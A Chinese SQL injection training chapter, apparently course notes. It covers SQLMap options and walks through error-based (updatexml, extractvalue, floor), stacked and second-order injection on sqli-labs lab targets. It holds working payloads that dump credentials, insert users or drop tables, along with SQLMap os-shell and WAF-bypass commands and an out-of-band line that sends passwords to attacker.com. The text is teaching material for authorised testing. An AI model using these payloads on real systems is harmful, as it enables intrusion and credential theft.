SQLMap 是一个开源的自动化 SQL 注入和数据库渗透测试工具,由 Python 编写,广泛用于安全研究人员和渗透测试人员在授权范围内对 Web 应用进行 SQL 注入漏洞检测与利用。它能够自动识别多种类型的 SQL 注入漏洞,并支持从数据库指纹识别、数据提取、文件读写到系统命令执行等高级操作。

6.1 核心能力与工作原理

SQLMap 的核心在于通过构造特定的 SQL 载荷(payload)发送给目标服务器,分析响应内容或行为变化来判断是否存在注入点,并进一步利用该漏洞获取数据库信息。其支持以下六种主要注入技术:

  1. 联合查询注入(Union-based) 利用 UNION SELECT 将攻击者指定的数据合并到原始查询结果中返回。
  2. 基于布尔的盲注(Boolean-based Blind) 通过修改 SQL 条件语句(如 AND 1=1 / AND 1=2),观察页面是否返回正常内容来推断数据。
  3. 基于时间的盲注(Time-based Blind) 使用 IF()SLEEP() 等函数根据条件触发延迟响应,通过响应时间判断真假。
  4. 报错注入(Error-based) 引发数据库错误并将敏感信息(如字段名、表名)回显到错误消息中。
  5. 堆叠查询注入(Stacked Queries) 在支持多语句执行的数据库(如 MSSQL、PostgreSQL)上,使用分号;拼接多个 SQL 命令一起执行。
  6. 带外注入(Out-of-band Injection, OOB) 利用 DNS 或 HTTP 请求将数据外传至攻击者控制的服务器(例如:LOAD_FILE('\\\\data.'+(select password)+'.attacker.com\\a.txt'))。

⚠️ 法律提示:SQLMap 仅可用于已获书面授权的安全测试。未经授权使用属于违法行为,请务必遵守《网络安全法》等相关法律法规。

6.2 安装方式(Python 环境)

# 官方仓库下载解压
https://github.com/sqlmapproject/sqlmap

# 安装依赖(可选,通常无需额外安装)
pip install -r requirements.txt

# 验证安装
python sqlmap.py --version

支持平台:Linux / macOS / Windows(需安装 Python) Kali Linux 用户直接输入 sqlmap 即可使用,系统自带。

6.3 常见参数详解

6.3.1 指定目标 URL(-u)

最基础参数,用于指定可能存在注入点的链接。

python sqlmap.py -u "http://example.com/article.php?id=1"

📌 注意:如果 URL 包含 & 参数,必须用引号包裹:

python sqlmap.py "http://example.com/login.php?username=admin&password=123"

不过养成良好习惯,url都添加引号

6.3.2 从 HTTP 请求文件读取(-r)

适用于需要携带 Cookie、User-Agent 或其他头部信息的场景,常用于登录后接口测试。

创建 request.txt 文件:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123

username=admin&password=123

执行命令:

python sqlmap.py -r request.txt --level=5 --risk=3

6.3.3 指定测试参数(-p)

默认情况下,SQLMap 会测试所有参数。若只想测试某个参数(提高效率、减少误判):

sqlmap -u "http://example.com/search.php?name=test&id=1" -p id

6.3.4 设置数据库类型(--dbms)

当已知数据库类型时,可跳过指纹探测阶段,加快检测速度。

sqlmap -u "http://example.com?id=1" --dbms=mysql

支持值:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, Access, Firebird, DB2, Sybase

6.3.5 POST 数据提交(--data)

用于测试 POST 请求中的参数是否存在注入。

sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"

某些页面需登录才能访问,可通过 --cookie 携带会话信息。

sqlmap -u "http://example.com/admin.php?id=1" --cookie="sessionid=abc123; user=admin"

更智能的方式是配合 --level >= 2 自动处理 Cookie。

当你设置 --level >= 2 时:

  • sqlmap 会自动将 Cookie 中的参数也作为注入测试点
  • 你仍然需要 --cookie 参数来提供会话值(如 sessionid=abc123
  • sqlmap 会在这些 Cookie 值上追加测试 Payload

6.3.7 枚举数据库信息

功能 命令
获取当前数据库 sqlmap -u "..." --current-db
获取当前用户 sqlmap -u "..." --current-user
是否为 DBA 权限 sqlmap -u "..." --is-dba
列出所有数据库 sqlmap -u "..." --dbs
列出指定库的表 sqlmap -u "..." -D database_name --tables
列出表的字段 sqlmap -u "..." -D db -T users --columns
导出整张表数据 sqlmap -u "..." -D db -T users --dump
导出指定字段 sqlmap -u "..." -D db -T users -C username,password --dump

示例:导出用户表用户名和密码

sqlmap -u "http://example.com?id=1" -D webapp -T users -C username,passwd --dump

6.3.8 获取操作系统 Shell(--os-shell)

在满足条件的情况下(如允许写入文件、知道绝对路径、权限足够),可尝试获取系统 shell。

sqlmap -u "http://example.com?id=1" --os-shell

条件要求:

  • 数据库支持文件写入(如 MySQL 的 SELECT ... INTO OUTFILE
  • 已知 Web 目录物理路径
  • 数据库进程具有写权限

成功后将上传一个小马(小型 Web Shell)并交互式执行命令。

6.3.9 绕过 WAF / 反爬机制(进阶技巧)

6.3.9.1 随机 User-Agent(--random-agent)

避免因固定 UA 被封禁。

sqlmap -u "..." --random-agent
6.3.9.2 设置请求延时(--delay)

降低扫描频率,规避流量监控。

sqlmap -u "..." --delay=2  # 每次请求间隔2秒
6.3.9.3 使用代理(--proxy)

调试或隐藏 IP。

sqlmap -u "..." --proxy=http://127.0.0.1:8080
6.3.9.4 Tamper 脚本(防检测编码绕过)

SQLMap 内置数十个 tamper 脚本,用于混淆 payload,绕过 IDS/WAF。

常见组合示例:

# 对空格替换为/**/,适用于过滤空格的场景
sqlmap -u "..." --tamper=space2comment

# 大小写变换绕过关键词过滤
sqlmap -u "..." --tamper=lowercase

# 将单引号字符编码
sqlmap -u "..." --tamper=charencode

# 综合使用(推荐实际环境中测试多个)
sqlmap -u "..." --tamper=space2comment,randomcase,concatencode

查看可用 tamper 脚本:

ls tamper/
cat tamper/space2comment.py  # 查看具体实现逻辑

6.3.10 提高检测深度(--level 和 --risk)

参数 默认值 说明
--level 1(共5级) 级别越高,测试的参数越多(如 Cookie、User-Agent)
--risk 1(共3级) 风险越高,使用的载荷越激进(如写文件、执行命令)

建议逐步提升:

sqlmap -u "..." --level=3 --risk=2

⚠️ 过高可能导致服务崩溃或被日志追踪!

6.3.11 指定注入类型(--technique

默认情况下,sqlmap 会自动测试所有已知的 SQL 注入技术。在明确已知注入类型的情况下,手动指定注入技术可以显著提高扫描效率,并减少无关请求与误判

--technique=TECH

TECH 用一个或多个字母表示要使用的注入技术,可单独或组合使用

支持的注入类型标识

字母 注入类型 说明
B Boolean-based blind 布尔盲注(有真假回显)
T Time-based blind 时间盲注(通过延时判断)
U UNION query 联合查询注入
E Error-based 报错注入
S Stacked queries 堆叠查询(多语句执行)
Q Inline queries 内联查询(较少使用)

单一注入类型示例

仅使用布尔盲注:

sqlmap -u "http://example.com?id=1" --technique=B

仅使用时间盲注:

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=5

仅使用 UNION 注入:

sqlmap -u "http://example.com?id=1" --technique=U

组合指定多种注入类型

可以将多种技术组合使用(不区分顺序):

sqlmap -u "http://example.com?id=1" --technique=BU
sqlmap -u "http://example.com?id=1" --technique=BEUST

含义: 仅使用 布尔盲注、报错注入、联合查询、堆叠查询、时间盲注 这几类技术。

6.4 完整实战流程示例

sqli-labs less1为例

# Step 1: 探测是否存在注入
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch #--batch 是 sqlmap 的一个自动化运行参数,作用是让 sqlmap 在测试过程中遇到需要用户交互确认的问题时,自动选择默认选项,无需人工干预。

# Step 2: 确认数据库类型 & 当前用户
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch --banner --current-user

# Step 3: 列出所有数据库
python sqlmap.py  -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch --technique=U --dbs #指定使用联合注入

# Step 4: 查看目标数据库(如 acuart)下的表
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch --technique=U -D security --tables

# Step 5: 查看 users 表结构
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch --technique=U -D security -T users --columns

# Step 6: 导出用户数据
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --batch --technique=U -D security -T users -C username,password --dump

# Step 7: 尝试获取 shell(如有权限)
python sqlmap.py -u "http://ctf.eagleslab.com:41198/Less-1/?id=1" --os-shell

6.5 高级功能

6.5.1 自定义 tamper 脚本(绕过定制防护)

你可以编写自己的 .py tamper 脚本放在 tamper/ 目录下,例如:

# tamper/custom_encode.py
def tamper(payload, **kwargs):
    """
    替换 'AND' 为 '&&',绕过关键字过滤
    """
    if payload:
        payload = payload.replace(" AND ", " && ")
        payload = payload.replace(" OR ", " || ")
    return payload

使用:

sqlmap -u "..." --tamper=custom_encode

6.5.2 二阶注入(Second-order Injection)

某些注入不会立即反映在响应中,而是存储后触发。SQLMap 支持通过 --second-order 指定跳转页面进行检测。

sqlmap -u "..." --second-order="http://example.com/profile.php"

6.5.3 执行自定义 SQL 查询(--sql-query)

直接运行任意 SQL 语句(需权限):

sqlmap -u "..." --sql-query="SELECT COUNT(*) FROM users"

6.6 简单总结

场景 推荐命令组合
快速探测 GET 注入 sqlmap -u "URL"
测试登录接口 sqlmap -r req.txt
绕过简单 WAF --tamper=space2comment --random-agent --delay=1
获取敏感数据 --dbs -D db -T table --dump
获取系统权限 --os-shell(条件苛刻)
高隐蔽性扫描 --level=3 --risk=2 --delay=2 --proxy

7. 报错注入

7.1 报错注入基础

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错误语句select'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

image.png

如果语法错误,在PHP中,可以使用mysqli_error()、mysqli_connect_error()语句将语法错误信息显示到页面上。

image.png

常见报错注入函数(MySQL)

函数 作用
updatexml() 利用 XML 解析错误回显数据
extractvalue() 利用 XPath 错误回显数据
floor(rand()) 利用重复键错误制造报错

7.2 updatexml报错注入

7.2.1 updatexml函数基础

已知在sql语句中有种函数是updatexml(xml_target, xpath_expr, new_xml),这个函数原本的作用是用来更新选定XML片段的内容,但是原本的作用已经不重要了,我们发现只要xpath_expr不是一个目录路径,这个代码就会报错 image.png 通过上面的测试,我们发现这个报错信息中包含了我们写入的查询语句,也就是如果发现网站存在sql报错的地方,就可以执行任意的查询语句

select updatexml('1',concat('~',(你要查询的语句)),'1');
select updatexml('1',concat('~',(select database())),'1');

在配合上我们前面学来的从information_schema中的一系列查询,就可以把敏感信息从数据库中查询出来

7.2.2 updatexml报错注入sqli-labs靶场实战

构造工具语句,获取数据库名信息

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

image-20260120154139815

但是采用updatexml报错函数只能显示32位长度的内容,如果获取的内容超过32字符就要采用字符串截取方法。

updatexml()最多显示32位长度的错误字符,如果显示内容过长我们可以使用substr()来截取。

函数原型(MySQL)

substr(string, start, length)
  • string:目标字符串(字段值、函数返回值)
  • start:起始位置(从 1 开始,不是 0
  • length:截取长度
# substr(password,10)表示从第10位开始截取后面的内容
' and updatexml('1',concat('~',(select substr(password,10) from admin limit 0,1)),'1')#

使用下面语句查询表名

1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema= database()),0x7e),1) --+

image-20260120154537321

使用下面语句查询字段名

1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

image-20260120154704431

尝试获取字段值

1'and updatexml(1,concat(0x7e,(select group_concat(username,0x3A,password) from users),0x7e),1) --+

得到的结果如下,显示并不完整

image-20260120155038187

截取字符串,查看完整内容

1' and updatexml(1,concat(0x7e,substr((select concat(username,0x3A,password) from users limit 0,1),1,32),0x7e),1)--+

image-20260120160125307

获取下一对账号密码,修改limit

1' and updatexml(1,concat(0x7e,substr((select concat(username,0x3A,password) from users limit 1,1),1,32),0x7e),1)--+

image-20260120160211779

也可以直接使用limit来将字段名一个个获取

1'and updatexml(1,concat(0x7e,(select concat(username,0x3A,password) from users limit 0,1),0x7e),1) --+

查看到第一个字段值

image-20260120155708899

查看第二个字段值

1'and updatexml(1,concat(0x7e,(select concat(username,0x3A,password) from users limit 1,1),0x7e),1) --+

image-20260120155656160image-20260120155656295

7.2.3 使用burp批量注入

可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。

image-20260120161233949

将limit 0,1中的0添加上$,设置匹配规则

image-20260120161355802

设置payload类型为数字,从0到30,步长为1

image-20260120161508594

开始攻击,并且最终得到所有的账号密码 image-20260120161645816

通过这样的方式可以获取所有的用户名和密码

由于updatexml只能显示32位报错信息,所以此处显示不完整,后面的的floor报错将没有限制字符限制。

7.3 extractvalue() 报错注入

7.3.1 extractvalue基础知识

7.3.1.1 extractvalue() 是什么?

extractvalue() 是 MySQL 中用于 解析 XML 数据并提取节点值的函数,语法如下:

extractvalue(xml_document, xpath_expression)
  • 第一个参数:XML 文档
  • 第二个参数:XPath 路径表达式
7.3.1.2 为什么 extractvalue() 能用于报错注入?

XPath 表达式不合法 时,MySQL 会抛出错误:

XPATH syntax error: '非法内容'

错误信息会直接回显 XPath 表达式内容, 如果我们把 敏感数据拼接进 XPath,就能通过错误信息泄露数据。

核心点:

利用数据库错误信息作为“回显通道”

7.3.1.3 extractvalue() 报错注入的基本结构
and extractvalue(1,concat(0x7e, payload, 0x7e))
  • 0x7e~,用于定位数据边界
  • payload 是要泄露的数据(数据库名 / 表名 / 字段值)
7.3.1.4 使用 extractvalue() 的前提条件
  • 数据库为 MySQL / MariaDB
  • 错误信息未被关闭
  • 页面能显示数据库报错(典型的报错注入场景)

7.3.2 extractvalue报错注入sqli-labs靶场实战

7.3.2.1 判断是否存在报错注入点
1'and extractvalue(1,concat(0x7e)) --+

image-20260120221410314

成功报错回显了~

说明:

  • 注入点存在
  • extractvalue() 可用
7.3.2.2 获取当前数据库名
1' and extractvalue(1,concat(0x7e, database(), 0x7e)) --+

image-20260120221610893

7.3.2.3 获取当前数据库下的表名
1' and extractvalue(
  1,
  concat(
    0x7e,
    (select group_concat(table_name)
     from information_schema.tables
     where table_schema=database()),
    0x7e
  )
) --+

image-20260120221656834

说明:

  • information_schema.tables:存储所有表信息
  • table_schema=database():限制为当前数据库
7.3.2.4 获取指定表的字段名(以 users 表为例)
1' and extractvalue(
  1,
  concat(
    0x7e,
    (select group_concat(column_name)
     from information_schema.columns
     where table_name='users'),
    0x7e
  )
) --+

image-20260120221847045

7.3.2.5 获取字段值(用户名:密码)
1' and extractvalue(
  1,
  concat(
    0x7e,
    (select group_concat(username,0x3a,password) from users),
    0x7e
  )
) --+

image-20260120221932203

显示不完整,原因:

  • MySQL 报错信息长度有限
  • group_concat 结果过长被截断

可以配合 substr() 或者limit分段获取字段值

获取第一条账号密码

1' and extractvalue(
  1,
  concat(
    0x7e,
    (select concat(username,0x3a,password) from users limit 0,1),
    0x7e
  )
) --+

image-20260120222142361

获取下一条账号密码,修改 limit

1' and extractvalue(
  1,
  concat(
    0x7e,
    (select concat(username,0x3a,password) from users limit 1,1),
    0x7e
  )
) --+

7.3.3 小实验

1.完成上述实验,并尝试使用burp完成账号密码的批量注入;

2.使用extractvalue() 报错注入完成Pikachu 字符型注入关卡。

tips:Pikachu 字符型注入关卡注释符可以使用#或者--

7.4 floor报错注入

7.4.1 floor函数基础

简单来说floor报错注入就是利用 GROUP BY + 非确定性函数 rand(),制造 分组键重复,从而触发 Duplicate entry 报错,并把拼接的数据带进错误信息中。

为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:

mysql> create database sqli;
mysql> create table user (
  id int(11) not null auto_increment primary key,
  name varchar(20) not null,
  pass varchar(32) not null
);

mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

image-20260120161920006

我们先看一个基于floor()的报错SQL语句:

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

如果是第一次接触报错注入的话,一般会有这么几个问题。

Q1.floor()函数是什么?

A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。

Q2.rand(0)是什么意思?

A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

image.png

我们再测试一下rand(0)的效果

image.png

很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下

image.png

Q3.为什么会出现报错?

A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

image.png

在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

select count(*),(concat(floor(rand()*2),(select version())))x from user group by x;

各部分作用

1️⃣ rand()

  • 生成 0 ~ 1 之间的随机数
  • 非确定性函数(每次计算都可能不同)

2️⃣ floor(rand()*2)

  • rand()*2[0,2)
  • floor() → 只可能是 0 或 1

    这是制造分组冲突的关键

3️⃣ concat(floor(rand()*2), version())

可能的结果只有两种:

05.7.26
15.7.26

4️⃣ group by x

MySQL 在执行 GROUP BY 时:

  • 会先 计算分组列
  • 再把结果放入 内部临时表
  • 这个临时表有一个 隐式唯一键(group_key)

为什么会触发 Duplicate entry 报错?

MySQL 的真实执行顺序

  1. from user
  2. 对每一行计算一次 x
  3. x 插入临时表(用于 group by)
  4. 如果 x 重复 → 触发唯一键冲突

关键点:rand() 会被多次计算

同一条 SQL 中

  • rand() 不是只算一次
  • 而是 每处理一行,可能重新计算

这就导致:

rand()*2 floor version x
第 1 行 0.3 0 5.7.26 05.7.26
第 2 行 0.1 0 5.7.26 05.7.26

第二次插入 05.7.26

触发 Duplicate entry

获取我们想获取的信息!

7.4.2 floor报错注入sqli-labs靶场实战

构造SQL注入语句如下

1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,database())x from information_schema.tables group by x)a) --+

得到报错信息如下,得到数据库名为security

image-20260120172555043

获取表名

1' or (
  select 1
  from (
    select count(*),
           concat(
             floor(rand(0)*2),
             0x7e,
             (
               select table_name
               from information_schema.tables
               where table_schema=database()
               limit 0,1
             )
           ) x
    from information_schema.tables
    group by x
  ) a
) --+

image-20260120174620909

完整的来看下上述payload

第一层:整体注入结构(控制逻辑)

1' or ( <子查询> ) --+

作用:

  • 1':闭合前端 SQL 语句中的字符串
  • or (...):只要子查询能正常执行(或触发错误),整体条件成立
  • --+:注释掉原 SQL 剩余部分,防止语法冲突

这一层的目标

把 SQL 执行流程交给我们构造的子查询

第二层:利用子查询制造“可控报错”

select 1 from ( <核心报错构造> ) a

作用:

  • from ( ... ) a:派生表(子查询结果作为临时表)
  • 只要 内部子查询执行出错,整个语句就会报错
  • select 1 本身无意义,仅用于触发执行

这一层的目标

执行内部语句,让 MySQL 把错误信息回显到页面

第三层:报错注入的核心

select count(*),
       concat(
         floor(rand(0)*2),
         0x7e,
         <泄露数据>
       ) x
from information_schema.tables
group by x

这是 floor 报错注入的核心结构

from information_schema.tables

作用:

  • 该系统表 行数很多
  • 保证 select 会被执行多次
  • group by 制造重复条件

关键点

floor 报错注入 必须依赖多行数据

rand(0) + floor(rand(0)*2)

floor(rand(0)*2)

作用:

  • rand(0):固定随机种子
  • 每次执行返回相同随机序列
  • *2 → 结果只可能是 01
  • floor() → 整数化

效果

多行中会反复生成相同的 01

concat(...) as x

concat(
  floor(rand(0)*2),
  0x7e,
  <data>
) x

作用:

  • 拼接成分组字段 x
  • 0x7e~,用于明显分隔数据
  • 是我们要泄露的信息

示例结果:

0~users
1~users

group by x 触发错误

group by x

作用:

  • group by 需要分组唯一值
  • 多行数据中:
    • x = 0~users
    • x = 0~users
  • 出现 重复分组键

最终触发错误:

duplicate entry '0~users' for key '<group_key>'

table_name 被带入错误信息中泄露

第四层:真正的数据来源

(
  select table_name
  from information_schema.tables
  where table_schema=database()
  limit 0,1
)

floor 报错注入中, concat 里的子查询必须是“单值子查询” 否则就会报:subquery returns more than 1 row

继续注入

获取字段名,原理同上,通过limit来控制获取第几个

1' or (
  select 1
  from (
    select count(*),
           concat(
             floor(rand(0)*2),
             0x7e,
             (
               select column_name
               from information_schema.columns
               where table_name='users'
               limit 0,1
             )
           ) x
    from information_schema.tables
    group by x
  ) a
) --+

发现username和password

image-20260120214603689

获取账号密码

1' or (
  select 1
  from (
    select count(*),
           concat(
             floor(rand(0)*2),
             0x7e,
             (
               select concat(username,0x3a,password)
               from users
               limit 0,1
             ),0x7e
           ) x
    from information_schema.tables
    group by x
  ) a
) --+

image-20260120214734674

使用burpsuite获取所有的用户名和密码,给limit 0,1中的0打上$

GET /Less-5/?id=1%27%20or%20(%20select%201%20from%20(%20select%20count(*),%20concat(%20floor(rand(0)*2),%200x7e,%20(%20select%20concat(username,0x3a,password)%20from%20users%20limit%20§0§,1%20)%20)%20x%20from%20information_schema.tables%20group%20by%20x%20)%20a%20)%20--+ HTTP/1.1
Host: ctf.eagleslab.com:41101
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _SSID=UD0lOb-ZhotcU8-sDyI_366NF5hGgAgspMeQxIHGpWg; PHPSESSID=3llc9rmofiosima88ms6mqe302; security=low
Connection: close

设置上数字型payload,加上提取符号~

image-20260120220200245

image-20260120220245195

image-20260120220319149

floor(rand()) 报错注入利用 rand() 的非确定性,在 GROUP BY 分组过程中制造重复分组键,从而触发 Duplicate entry 错误并回显数据。 由于执行结果依赖随机数和优化器行为,该方法天然不稳定,在高版本 MySQL 中成功率较低。

7.4.3 小实验

1.完成上述实验

2.使用floor报错注入,完成Pikachu靶场字符型注入关卡

tips: 注释符可以使用#或者--

7.5 十种SQL报错函数

1.floor() select from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

image.png

2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

image.png

3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

image.png

4.geometrycollection() select from test where id=1 and geometrycollection((select from(select * from(select user())a)b));

image.png

5.multipoint() select from test where id=1 and multipoint((select from(select * from(select user())a)b));

image.png

6.polygon() select from test where id=1 and polygon((select from(select * from(select user())a)b));

image.png

7.multipolygon() select from test where id=1 and multipolygon((select from(select * from(select user())a)b));

image.png

8.linestring() select from test where id=1 and linestring((select from(select * from(select user())a)b));

image.png

9.multilinestring() select from test where id=1 and multilinestring((select from(select * from(select user())a)b));

image.png

10.exp() select from test where id=1 and exp(~(select from(select user())a));

image.png

8.堆叠注入

8.1 堆叠注入基础

在某些场景下,应用程序需要一次性执行多条 SQL 语句,例如:

  • 初始化数据库结构
  • 导入数据库备份
  • 批量执行管理操作

8.1.1 什么是堆叠查询(Stacked Queries)

堆叠查询是指在一次数据库请求中执行多条 SQL 语句,各语句之间使用分号(;)进行分隔,例如:

select * from users; select user();

数据库会按顺序依次执行这些语句。

image.png

8.1.2 什么是堆叠注入

堆叠注入(Stacked Injection) 是利用数据库支持堆叠查询的特性,在原有 SQL 语句后追加一条或多条恶意 SQL 语句,从而执行攻击者构造的任意 SQL 操作。

例如,原始 SQL:

select * from users where id=1;

构造输入后可能变成:

select * from users where id=1; drop table users;

此时数据库会执行两条语句,第二条为攻击语句。

8.1.3 堆叠注入的危害

堆叠注入的危害 远高于普通查询型注入(union / 盲注),因为它不再局限于“查询数据”,而是可以直接执行写操作,包括但不限于:

  • 删除数据库或表(drop database / drop table
  • 修改数据(update
  • 插入数据(insert
  • 创建或删除数据库用户
  • 修改用户权限(如写入后门账号)

一旦存在堆叠注入,往往意味着数据库完全失陷

8.1.4 堆叠注入的前提条件

堆叠注入并非所有环境都可用,需要满足以下条件:

  1. 数据库本身支持多语句执行
    • MySQL、SQL Server 等支持
    • Oracle 默认不支持
  2. 后端代码使用了支持多语句的 API
    • PHP 中常见的:
      • mysqli_multi_query()
      • mysql_multi_query()
    • 普通的 mysqli_query() 默认 不支持堆叠查询
  3. 未对分号(;)进行过滤或限制

8.2 堆叠注入sqli-labs靶场实战

8.2.1 源码分析

Sqli-labs less38

image-20260121115403622

查看源码

image.png

8.2.2 堆叠注入利用

可以先使用1' and 1=2--+1' and 1=1--+确定是否存注入,然后使用堆叠注入进行检测。

1' order by 3--+
-1' union select 1,2,3 --+
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1)--+

image.png

获取字段名

-1' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_name='users' limit 1
)--+

image.png

在知道表和列的情况下,手动添加用户,如果有管理员表,还可以直接添加管理员

-1';insert into users(id,username,password)values(1000,'eagleslab','123456')--+

下面访问id为1000的用户

image.png

创建数据库

-1';create database eagleslab --+

查询所有数据库

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

可以看到数据库已经创建成功

image-20260121121141413

8.3 小实验

1.复现完成上述实验

2.完成sqli-labs less39 less40

9.二次注入

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.

9.1 二次注入基础

二次注入漏洞是一种发生在多次数据库交互过程中的 SQL 注入漏洞

与一次注入(用户输入立即参与 SQL 拼接并执行)不同,二次注入的恶意 payload 在第一次操作中并不会触发漏洞,而是被合法地存储到数据库中,在后续业务逻辑中被再次取出并拼接到 SQL 语句中时才触发注入。

由于注入点并不发生在最初的输入位置,二次注入往往更隐蔽、更难被发现,但一旦成功,其危害与一次注入完全相同,甚至更严重。

9.1.1 二次注入的核心原理

什么是转义:

在字符串中,用特定的“转义字符”(如 \)对具有特殊语义的字符进行标记,使其不再被当作语法符号解析,而是作为普通数据处理。

二次注入的本质是:

开发者错误地“信任了数据库中的数据”。

一般流程如下:

  1. 第一次操作(写入阶段)
    • 用户提交输入(如用户名、昵称、备注等)
    • 程序对输入进行了简单转义或过滤(如 addslashes()
    • 数据被写入数据库
    • 此阶段通常 不会报错,也不会触发注入
  2. 第二次操作(使用阶段)
    • 程序从数据库中取出之前存储的数据
    • 认为数据库中的数据是“安全的”
    • 直接拼接进新的 SQL 查询
    • 此时恶意 payload 被重新激活,导致 SQL 注入

9.1.2 addslashes / magic_quotes

在早期 PHP 应用中,二次注入经常与以下两个机制有关:

  • addslashes()
  • get_magic_quotes_gpc()

问题关键点:

  • addslashes() 只是在 程序层面 给特殊字符(' " \ NULL)加上反斜杠
  • 写入数据库的仍然是原始语义数据
  • 当数据再次从数据库取出时:
    • 不会自动重新转义
    • 如果直接参与 SQL 拼接,就会形成注入

换句话说:

转义并没有“消灭危险字符”,只是暂时延迟了它的效果。

9.1.3 二次注入示例

第一次:注册 / 插入数据

用户输入用户名:

admin'--

假设后台代码:

$username = addslashes($_POST['username']);
$sql = "insert into users(username) values ('$username')";

数据库中实际存储的内容(逻辑上):

admin'--

第二次:使用数据库中的数据

后台代码:

$sql = "select * from users where username='$db_username'";

拼接后 SQL 实际变成:

select * from users where username='admin'-- ';

结果:

  • 后续 SQL 被注释
  • 逻辑被绕过
  • 注入在 第二次执行时发生

9.1.4 二次注入的特点总结

特点 说明
不在首次输入时触发 插入阶段通常“正常”
攻击路径更长 需要等待或触发第二次使用
更隐蔽 日志、WAF 更难发现
危害与一次注入相同 依然可读库、写库、执行函数

9.1.5 常见产生二次注入的场景

  • 用户注册信息(用户名、昵称、签名)
  • 后台备注字段
  • 用户可控配置项
  • 导入历史数据
  • 管理员二次操作(编辑、查询、统计)

9.1.6 防御方法

  • 任何进入 SQL 的数据都不应被“默认信任”
  • 即使数据来自数据库,也必须:
    • 使用预编译(Prepared Statements)
    • 或统一的参数化查询
  • 禁止在不同 SQL 场景中直接复用拼接字符串

9.2 二次注入sqli-labs靶场实战

9.2.1 源码分析

sqli-labs靶场less24

login_create.php

image.png

在login.php源码中查看

image.png

在pass_change.php中查看源码

image.png

开发人员认为session作为服务器上存在的数据,并不是让用户输入的数据就是安全的,但是此处的用户名用户完全可以构造一个sql注入语句,这样在修改密码的时候就可以触发执行了恶意代码。

9.2.2 二次注入利用

二次注入判断,一般情况下网站都会对输入的参数进行过滤,后寻找可能会带入恶意数据二次使用的地方。

例如用户注册->修改密码,邮箱注册->修改密码,文章添加->文章编辑。找一切存在二次使用的功能点。

分别注册如下三个用户,密码随意

